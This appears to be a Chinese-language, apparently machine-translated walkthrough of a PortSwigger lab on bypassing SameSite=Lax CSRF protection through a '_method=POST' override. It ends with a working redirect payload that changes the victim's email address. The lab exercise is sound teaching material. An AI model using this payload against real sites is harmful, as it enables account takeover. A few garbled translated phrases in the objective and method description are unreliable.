> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-lax-bypass-via-method-override.md).

# 通过方法覆盖绕过 SameSite Lax

通过方法覆盖绕过 SameSite Lax 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 通过方法覆盖绕过 SameSite Lax

该实验室的电子邮件地址修改功能存在 CSRF 攻击漏洞。该站点使用 SameSite=Lax，但可以通过 d-override 参数强制将 POST 方法查询（`&_method=POST`）添加到 URL 中，从而绕过这一保护。

\*\* 目标\*\*/ 在漏洞利用服务器上托管一个载荷（已利用），发起请求将电子邮件地址更改为受害者的姓名，以完成实验。

**凭据（测试账户）**/ `wiener: peter`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b6743be1e0ab29cb48598cc5c24ff3a19cc0ff6%2F%7B2A75D4A2-7EC1-4A62-9294-5A892446CA45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 向电子邮件修改端点发送 GET 请求会返回方法不被允许。
* 添加 `&_method=POST` URL 中的参数会使请求被接受（该站点接受该覆盖，将请求视为 POST），从而即使存在 SameSite=Lax 也能执行该操作。

```
&_method=POST
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aeb444b839c3376ce3d9931e249ed7704392b9e2%2F%7B9E85C77F-0B42-4F43-BE0C-FC97D0E7FE73%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **漏洞利用服务器载荷**

以下脚本通过包含覆盖参数强制使用 POST，将受害者重定向到电子邮件修改 URL：

```javascript
<script>
  location="https://0af800380365a127808f0396006100a2.web-security-academy.net/my-account/change-email?email=hacked%40test.com&_method=POST";
</script>
```


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